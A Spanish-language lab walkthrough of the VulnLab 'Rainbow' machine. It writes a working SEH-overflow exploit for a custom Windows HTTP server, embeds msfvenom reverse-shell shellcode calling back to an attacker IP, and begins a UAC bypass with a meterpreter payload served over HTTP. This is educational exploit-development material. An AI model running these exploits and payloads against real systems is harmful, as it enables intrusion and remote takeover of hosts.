xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnLab

Rainbow



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 21 que corre un servicio ftp

❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10  
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Esta abierto el puerto 80 con un servicio http sin embargo si lo abrimos la web en el navegador nos muestra simplemente la página que viene por defecto en los IIS

Ya que esta abierto iniciaremos por conectarnos a ftp, en este caso admite la autenticacion por defecto del usuario anonymous sin proporcionar contraseña

❯ ftp 10.10.122.10
Connected to 10.10.122.10.
220 Microsoft FTP Service
Name (10.10.122.10:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.  
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>

Dentro encontramos 3 archivos, un .txt, un ejecutable .exe y un script .ps1

ftp> dir
229 Entering Extended Passive Mode (|||50101|)
150 Opening ASCII mode data connection.
01-18-22  08:22AM                  258 dev.txt
01-18-22  08:30AM                54784 rainbow.exe  
01-16-22  01:34PM                  479 restart.ps1  
01-16-22  12:14PM       <DIR>          wwwroot
226 Transfer complete.
ftp>

El archivo dev.txt nos dice que debido a algunos problemas con el servicio se creó un script que lo reinicia cada cierto tiempo en un puerto entre 8080 y 8090

❯ cat dev.txt
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script!  
* The server will dynamically pick a port when its default port is unresponsive (8080-8090).
* We'll fix this later by adding load balancer.

- dev team

El script se ejecuta en un bucle infinito, ejecutando parando el proceso si existe y lo ejecuta de nuevo, luego espera 30 segundos y vuelve al bucle para ejecutarlo

❯ cat restart.ps1
Set-Location -Path C:\rainbow
for (;;) {
    try {
        If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue)) {
            Invoke-Expression "C:\rainbow\rainbow.exe"
        }

        $proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue  
        If (!$proc -or ($proc.Responding -eq $false) –or ($proc.WorkingSet -GT 200000*1024)) {
            $proc.Kill()
            Start-Sleep -s 10
            Invoke-Expression "C:\rainbow\rainbow.exe"
        }
    } catch { }

    Start-sleep -s 30
}

Al ejecutar el binario se nos muestra que se ha iniciado un servidor en algun puerto

PS C:\Users\user\Desktop> .\rainbow.exe  
Starting Rainbow Server...!

De primeras no conocemos el puerto que ha abierto pero con TCPView podemos ver que el proceso rainbow.exe tiene abierto el puerto 8080 en la dirección 0.0.0.0


Shell - rainbow


Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg

Si miramos los detalles del módulo con mona podemos ver que no contiene ninguna protección por lo que a la hora de hacer un exploit deberia ser relativamente sencillo

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
-------------------------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
-------------------------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Modulename & Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------  
 0x73810000 | 0x73823000 | 0x00013000 | True   | False   | True  | True  |  True    | True   | [kernel.appcore.dll] (C:\Windows\SysWOW64\kernel.appcore.dll)
 0x75eb0000 | 0x76132000 | 0x00282000 | True   | False   | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
 0x73da0000 | 0x73e0d000 | 0x0006d000 | True   | True    | True  | True  |  True    | True   | [MSVCP140.dll] (C:\Windows\SysWOW64\MSVCP140.dll)
 0x76d90000 | 0x76ea2000 | 0x00112000 | True   | True    | True  | True  |  True    | True   | [ucrtbase.dll] (C:\Windows\SysWOW64\ucrtbase.dll)
 0x00400000 | 0x00411000 | 0x00011000 | False  | False   | False | False |  False   | False  | [rainbow.exe] (Rainbow.exe)
 0x757b0000 | 0x758a0000 | 0x000f0000 | True   | False   | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
 0x76b80000 | 0x76c44000 | 0x000c4000 | True   | False   | True  | True  |  True    | True   | [msvcrt.dll] (C:\Windows\SysWOW64\msvcrt.dll)
 0x75320000 | 0x75335000 | 0x00015000 | True   | True    | True  | True  |  True    | True   | [VCRUNTIME140.dll] (C:\Windows\SysWOW64\VCRUNTIME140.dll)
 0x77770000 | 0x77922000 | 0x001b2000 | True   | False   | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x75400000 | 0x754ba000 | 0x000ba000 | True   | False   | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
 0x774c0000 | 0x7751f000 | 0x0005f000 | True   | False   | True  | True  |  True    | True   | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
 0x72ec0000 | 0x72f11000 | 0x00051000 | True   | False   | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
-------------------------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

La parte mas compleja aqui es la del reversing debido a que el programa se creó en C++ y el tema de los objetos hace que sea más dificil leer el código, luego de renombrar algunas cosas iniciamos con la función main, el bloque inicial inicia mostrando un mensaje con printf indicando que se inició un servidor

Luego ejecuta un bucle donde inicia un servidor en el host 0.0.0.0 y un puerto entre el 8080 y el 8090, si un puerto está ocupado es posible que lo inicie en el siguiente

La función server inicia llamando a la función WSAStartup para inicializar winsock y luego llama a la función socket para crear un socket y este devuelve un descriptor

Luego utiliza htons para darle formato al puerto y posteriormente llamar a bind para asociar una dirección local a un socket, y finalmente a la función setsockopt

Luego llama a listen para ponerse en escucha de conexiones entrantes en el puerto

La función handler inicia realizando un salto condicional ya que se iniciará un bucle

En este caso se llama a la función select para verificar que los descriptores en la variable readfs esten listos para operaciones evitando asi errores de I/O

Si el valor devuelto por select es mayor a 0 sigue la linea roja que llama a accept que recibe una conexión y devuelve un nuevo descriptor en el valor de retorno

Si se sigue la linea verde llama a memset para reservar un espacio en memoria y luego a recv para recibir un total de 0x1000 o 4096 bytes en el buffer asignado

La función que se encarga de controlar las conexiones realiza una comparación de una variable method contra la string GET que es un método para peticiones HTTP

Si es asi muestra un mensaje en la terminal y compara la ruta con la string /

Si es igual retorna el contenido del /index.html, si no es asi lo compara con el método POST realizando la misma comparación asi que sabemos que recibe peticiones HTTP

Lo que enviamos en las solicitudes HTTP las controla un binario personalizado, podemos probar enviar una cantidad grande de datos para corromperlo, si lo enviamos en peticiones GET no lo hace pero como data de una petición POST si

❯ curl -X GET 192.168.100.5:8080/$(python3 -c 'print("A" * 1000)')
<html><h1>404 Not Found</h1></html>

❯ curl -X POST 192.168.100.5:8080/ -d $(python3 -c 'print("A" * 1000)')  

Si miramos desde el debugger el programa corrompe pero no tenemos el control del registro de eip, sin embargo si sobrescribimos los valores de la estructura SEH

0:000> g
(3fc8.38e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005a5f28 ecx=41414141 edx=00000004 esi=004020c0 edi=005a5f28
eip=00406156 esp=00bcf8c8 ebp=00bcf8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????  

0:000> !exchain
00bcf8e8: Rainbow+a040 (0040a040)
00bcf928: Rainbow+a040 (0040a040)
00bcfbe8: 41414141
Invalid exception stack at 41414141

En lugar de A's enviaremos un patrón con cyclic para buscar el offset para llegar a sobrescribir la estructura con valores que son parte de la cadena creada con cyclic

#!/usr/bin/python3
from pwn import remote, p32, cyclic

payload  = b""
payload += cyclic(1000)

content = b"POST / HTTP/1.1\r\n" + payload  

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()

0:000> g
(4394.38f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005e4e40 ecx=6661616a edx=00000004 esi=004020c0 edi=005e4e40
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:66616166=????????  

0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 67616171
Invalid exception stack at 67616170

Le pasamos el valor a cyclic que nos dice que offset para sobrescribir el puntero al siguiente SEH es de 660 bytes, y para sobrescribir el SEH handler 664 bytes

❯ cyclic -l 0x67616170  
660

❯ cyclic -l 0x67616171  
664

Nuestro payload ahora enviará 660 A's hasta antes de sobrescribir la estructura SEH, 4 B's que serán el siguiente SEH y 4 C's que serán el controlador, ademas de ello rellenamos con D's hasta llegar a 1000 bytes para mantener el exploit estable forzando que ocurra la excepción enviando una cantidad muy grande de bytes

#!/usr/bin/python3
from pwn import remote, p32

offset = 660
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))

content = b"POST / HTTP/1.1\r\n" + payload  

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()

Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242 y el controlador con 0x43434343, si continuamos al ejecutar la excepción eventualmente controlaremos el registro eip

0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004b4e58 ecx=41414141 edx=00000004 esi=004020c0 edi=004b4e58
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????  

0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 43434343
Invalid exception stack at 42424242

0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77809de0 esi=00000000 edi=00000000
eip=43434343 esp=00a8f310 ebp=00a8f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

Algo a tener en cuenta es que cuando ocurre la excepción los valores del SEH se mueven al stack parecido a cuando se llama a una función, lo que nos interesa es que en la dirección esp + 8 se encuentra el puntero hacia el siguiente SEH

0:000> dds esp L3
00a8f310  77809dc2 ntdll!ExecuteHandler2+0x26
00a8f314  00a8f410
00a8f318  00a8fbe8

0:000> db poi(esp + 8)
00a8fbe8  42 42 42 42 43 43 43 43-05 44 44 44 44 44 44 44  BBBBCCCC.DDDDDDD  
00a8fbf8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc08  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc18  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
00a8fc58  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  

Entonces lo que podemos hacer es ejecutar un pop; pop; ret; para ejecutar como instrucciones el valor del nseh, podemos encontrar uno con la herramienta ropper

❯ ropper --file rainbow.exe --ppr

POP;POP;RET Instructions
========================

0x004091b7: pop edi; pop esi; ret;
0x004092ad: pop ecx; pop ebp; ret;
0x004094d8: pop ecx; pop ecx; ret;
0x00409569: pop esi; pop ebp; ret;
0x00409657: pop esi; pop ebp; ret;
0x00409add: pop esi; pop ebx; ret;
0x00409b09: pop esi; pop ebx; ret;
0x00409b81: pop esi; pop ebp; ret;
0x0040165c: add esp, 4; pop ebp; ret;  
0x00403ffc: add esp, 4; pop ebp; ret;  
0x004061bc: add esp, 4; pop ebp; ret;  
0x004080ec: add esp, 4; pop ebp; ret;  

Cambiamos el valor del seh y al corromperse el programa ahora la excepción apunta al pop; pop; ret;, establecemos un breakpoint en el controlador de excepciones

seh = p32(0x004091b7) # pop; pop; ret;  

0:000> g
(2c68.c58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=006e4e40 ecx=41414141 edx=00000004 esi=004020c0 edi=006e4e40
eip=00406156 esp=00acf8c8 ebp=00acf8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????  

0:000> !exchain
00acf8e8: Rainbow+a040 (0040a040)
00acf928: Rainbow+a040 (0040a040)
00acfbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 42424242

0:000> bp 0x004091b7

Al llegar al breakpoint y ejecutar el pop; pop; ret; ejecutará el valor del nseh como opcode, en este caso el byte 0x42 se traduce a la instrucción inc edx

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000  
eip=004091b7 esp=00acf310 ebp=00acf330 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
Rainbow+0x91b7:
004091b7 5f              pop     edi

0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2  
eip=004091b9 esp=00acf318 ebp=00acf330 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
Rainbow+0x91b9:
004091b9 c3              ret

0:003> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2  
eip=00acfbe8 esp=00acf31c ebp=00acf330 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
00acfbe8 42              inc     edx

0:000> u eip L4
00acfbe8 42              inc     edx
00acfbe9 42              inc     edx
00acfbea 42              inc     edx
00acfbeb 42              inc     edx

Tenemos un pequeño problema, como la dirección del pop; pop; ret; contiene un byte 00 lo que se escribe después de el controlador seh no lo vemos reflejado, las D's no se escribirán en memoria por lo que ahí no podemos escribir un shellcode

0:000> dds eip L8
00acfbe8  42424242
00acfbec  004091b7 Rainbow+0x91b7  
00acfbf0  00000005
00acfbf4  00acfef4
00acfbf8  004026b3 Rainbow+0x26b3  
00acfbfc  006e6488
00acfc00  006e64e8
00acfc04  006e64e8

Podriamos pensar en retroceder al inicio del shellcode sin embargo un short jump hacia atrás de 0x294 o 660 bytes no cabe en el dword del nseh, entonces lo que podemos hacer es saltar 5 bytes atrás que es el peso del opcode de salto donde guardaremos otro short jump de 655 o 0x28f bytes hacia el inicio del shellcode

❯ python3 -q
>>> from pwn import asm
>>> len(asm("jmp $-0x294"))  
5
>>> len(asm("jmp $-0x5"))
2
>>> hex(660 - 5)
'0x28f'
>>>

Entonces nuestro exploit escribe A's hasta 5 bytes antes de llegar al offset, ahi escribimos el shellcode y luego la estructura, el controlador salta al siguiente nseh que hace un salto corto hacia el otro salto que salta al inicio del buffer enviado

#!/usr/bin/python3
from pwn import remote, p32, asm

back = asm("jmp $-0x28f")

offset = 660
junk = b"A" * (offset - len(back))

nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;

payload  = b""
payload += junk
payload += back
payload += nseh + seh

content = b"POST / HTTP/1.1\r\n" + payload  

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()

Ahora al ejecutarlo el nseh tiene el valor del opcode, establecemos un breakpoint

0:000> g
(770.2150): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004e58d8 ecx=41414141 edx=00000004 esi=004020c0 edi=004e58d8
eip=00406156 esp=00d0f8c8 ebp=00d0f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????  

0:000> !exchain
00d0f8e8: Rainbow+a040 (0040a040)
00d0f928: Rainbow+a040 (0040a040)
00d0fbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 4141f9eb

0:000> bp 004091b7

Al ejecutar el gadget de pop; pop; ret; ejecuta un salto corto de 5 bytes atrás

0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00d0f310 ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b7:
004091b7 5f              pop     edi

0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=004091b9 esp=00d0f318 ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b9:
004091b9 c3              ret

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2  
eip=00d0fbe8 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
00d0fbe8 ebf9            jmp     00d0fbe3

Si ejecutamos ese salto corto ahora ejecuta otro salto que es hacia el inicio del shellcode, lo comprobamos mirando los bytes con db, un byte antess no hay A's

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe3 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d0fbe3 e96cfdffff      jmp     00d0f954

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2  
eip=00d0f954 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
00d0f954 41              inc     ecx

0:000> db eip - 1
00d0f953  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
00d0f963  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f973  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f983  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f993  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9a3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9b3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9c3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Ya que podemos ejecutar un shellcode con este exploit solo nos queda generar un nuevo shellcode usando msfvenom que envie una reverse shell por el puerto 443

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -b '\x00\x0a\x0d' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x43\x27\xd3\x9f\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xbf\xcf\x51\x9f\x3f\x10\x36\x29"
shellcode += b"\xda\x21\x76\x4d\xaf\x12\x46\x05\xfd\x9e\x2d"
shellcode += b"\x4b\x15\x14\x43\x44\x1a\x9d\xee\xb2\x15\x1e"
shellcode += b"\x42\x86\x34\x9c\x99\xdb\x96\x9d\x51\x2e\xd7"
shellcode += b"\xda\x8c\xc3\x85\xb3\xdb\x76\x39\xb7\x96\x4a"
shellcode += b"\xb2\x8b\x37\xcb\x27\x5b\x39\xfa\xf6\xd7\x60"
shellcode += b"\xdc\xf9\x34\x19\x55\xe1\x59\x24\x2f\x9a\xaa"
shellcode += b"\xd2\xae\x4a\xe3\x1b\x1c\xb3\xcb\xe9\x5c\xf4"
shellcode += b"\xec\x11\x2b\x0c\x0f\xaf\x2c\xcb\x6d\x6b\xb8"
shellcode += b"\xcf\xd6\xf8\x1a\x2b\xe6\x2d\xfc\xb8\xe4\x9a"
shellcode += b"\x8a\xe6\xe8\x1d\x5e\x9d\x15\x95\x61\x71\x9c"
shellcode += b"\xed\x45\x55\xc4\xb6\xe4\xcc\xa0\x19\x18\x0e"
shellcode += b"\x0b\xc5\xbc\x45\xa6\x12\xcd\x04\xaf\xd7\xfc"
shellcode += b"\xb6\x2f\x70\x76\xc5\x1d\xdf\x2c\x41\x2e\xa8"
shellcode += b"\xea\x96\x51\x83\x4b\x08\xac\x2c\xac\x01\x6b"
shellcode += b"\x78\xfc\x39\x5a\x01\x97\xb9\x63\xd4\x38\xe9"
shellcode += b"\xcb\x87\xf8\x59\xac\x77\x91\xb3\x23\xa7\x81"
shellcode += b"\xbc\xe9\xc0\x28\x47\x7a\xe5\xa4\x44\x09\x91"
shellcode += b"\xb6\x4a\xec\xda\x3e\xac\x84\x0c\x17\x67\x31"
shellcode += b"\xb4\x32\xf3\xa0\x39\xe9\x7e\xe2\xb2\x1e\x7f"
shellcode += b"\xad\x32\x6a\x93\x5a\xb3\x21\xc9\xcd\xcc\x9f"
shellcode += b"\x65\x91\x5f\x44\x75\xdc\x43\xd3\x22\x89\xb2"
shellcode += b"\x2a\xa6\x27\xec\x84\xd4\xb5\x68\xee\x5c\x62"
shellcode += b"\x49\xf1\x5d\xe7\xf5\xd5\x4d\x31\xf5\x51\x39"
shellcode += b"\xed\xa0\x0f\x97\x4b\x1b\xfe\x41\x02\xf0\xa8"
shellcode += b"\x05\xd3\x3a\x6b\x53\xdc\x16\x1d\xbb\x6d\xcf"
shellcode += b"\x58\xc4\x42\x87\x6c\xbd\xbe\x37\x92\x14\x7b"
shellcode += b"\x47\xd9\x34\x2a\xc0\x84\xad\x6e\x8d\x36\x18"
shellcode += b"\xac\xa8\xb4\xa8\x4d\x4f\xa4\xd9\x48\x0b\x62"
shellcode += b"\x32\x21\x04\x07\x34\x96\x25\x02\x34\x18\xda"
shellcode += b"\xad"

Nuestro exploit final inicia sobrescribiendo el shellcode y rellena con A's hasta antes de la estructura SEH, el controlador salta al nseh haciendo un short jump hacia otro short jump que salta al shellcode ejecutando de esa forma la reverse shell

#!/usr/bin/python3
from pwn import remote, p32, asm

shellcode =  b""
shellcode += b"\xfc\xbb\x43\x27\xd3\x9f\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xbf\xcf\x51\x9f\x3f\x10\x36\x29"
shellcode += b"\xda\x21\x76\x4d\xaf\x12\x46\x05\xfd\x9e\x2d"
shellcode += b"\x4b\x15\x14\x43\x44\x1a\x9d\xee\xb2\x15\x1e"
shellcode += b"\x42\x86\x34\x9c\x99\xdb\x96\x9d\x51\x2e\xd7"
shellcode += b"\xda\x8c\xc3\x85\xb3\xdb\x76\x39\xb7\x96\x4a"
shellcode += b"\xb2\x8b\x37\xcb\x27\x5b\x39\xfa\xf6\xd7\x60"
shellcode += b"\xdc\xf9\x34\x19\x55\xe1\x59\x24\x2f\x9a\xaa"
shellcode += b"\xd2\xae\x4a\xe3\x1b\x1c\xb3\xcb\xe9\x5c\xf4"
shellcode += b"\xec\x11\x2b\x0c\x0f\xaf\x2c\xcb\x6d\x6b\xb8"
shellcode += b"\xcf\xd6\xf8\x1a\x2b\xe6\x2d\xfc\xb8\xe4\x9a"
shellcode += b"\x8a\xe6\xe8\x1d\x5e\x9d\x15\x95\x61\x71\x9c"
shellcode += b"\xed\x45\x55\xc4\xb6\xe4\xcc\xa0\x19\x18\x0e"
shellcode += b"\x0b\xc5\xbc\x45\xa6\x12\xcd\x04\xaf\xd7\xfc"
shellcode += b"\xb6\x2f\x70\x76\xc5\x1d\xdf\x2c\x41\x2e\xa8"
shellcode += b"\xea\x96\x51\x83\x4b\x08\xac\x2c\xac\x01\x6b"
shellcode += b"\x78\xfc\x39\x5a\x01\x97\xb9\x63\xd4\x38\xe9"
shellcode += b"\xcb\x87\xf8\x59\xac\x77\x91\xb3\x23\xa7\x81"
shellcode += b"\xbc\xe9\xc0\x28\x47\x7a\xe5\xa4\x44\x09\x91"
shellcode += b"\xb6\x4a\xec\xda\x3e\xac\x84\x0c\x17\x67\x31"
shellcode += b"\xb4\x32\xf3\xa0\x39\xe9\x7e\xe2\xb2\x1e\x7f"
shellcode += b"\xad\x32\x6a\x93\x5a\xb3\x21\xc9\xcd\xcc\x9f"
shellcode += b"\x65\x91\x5f\x44\x75\xdc\x43\xd3\x22\x89\xb2"
shellcode += b"\x2a\xa6\x27\xec\x84\xd4\xb5\x68\xee\x5c\x62"
shellcode += b"\x49\xf1\x5d\xe7\xf5\xd5\x4d\x31\xf5\x51\x39"
shellcode += b"\xed\xa0\x0f\x97\x4b\x1b\xfe\x41\x02\xf0\xa8"
shellcode += b"\x05\xd3\x3a\x6b\x53\xdc\x16\x1d\xbb\x6d\xcf"
shellcode += b"\x58\xc4\x42\x87\x6c\xbd\xbe\x37\x92\x14\x7b"
shellcode += b"\x47\xd9\x34\x2a\xc0\x84\xad\x6e\x8d\x36\x18"
shellcode += b"\xac\xa8\xb4\xa8\x4d\x4f\xa4\xd9\x48\x0b\x62"
shellcode += b"\x32\x21\x04\x07\x34\x96\x25\x02\x34\x18\xda"
shellcode += b"\xad"                                          

back = asm("jmp $-0x28f")

offset = 660
junk = b"A" * (offset - len(shellcode + back))

nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;

payload  = b""
payload += shellcode
payload += junk
payload += back
payload += nseh + seh

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("10.10.122.10", 8080)
shell.send(content)
shell.interactive()

Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell

❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 8080: Done  
[*] Switching to interactive mode
$

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 51291
Microsoft Windows [Version 10.0.17763.2452]
(c) 2018 Microsoft Corporation. All rights reserved.  

C:\rainbow> whoami
rainbow\rainbow

C:\rainbow>


Shell - system


El usuario rainbow como el que recibimos la shell es parte del grupo Administrators sin embargo al listar los privilegios tenemos muy pocos para ser un administrador

C:\rainbow> net user rainbow
net user rainbow
User name                    rainbow
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/16/2022 11:55:33 AM
Password expires             Never
Password changeable          1/16/2022 11:55:33 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/6/2025 6:09:18 PM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.

C:\rainbow> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========  
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

C:\rainbow>

Para bypassear el UAC utilizaremos la herramienta elevator, definimos un listener en msfconsole y creamos un payload para ejecutar dentro de un .exe con msfvenom

❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.0.100 LPORT=4444 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

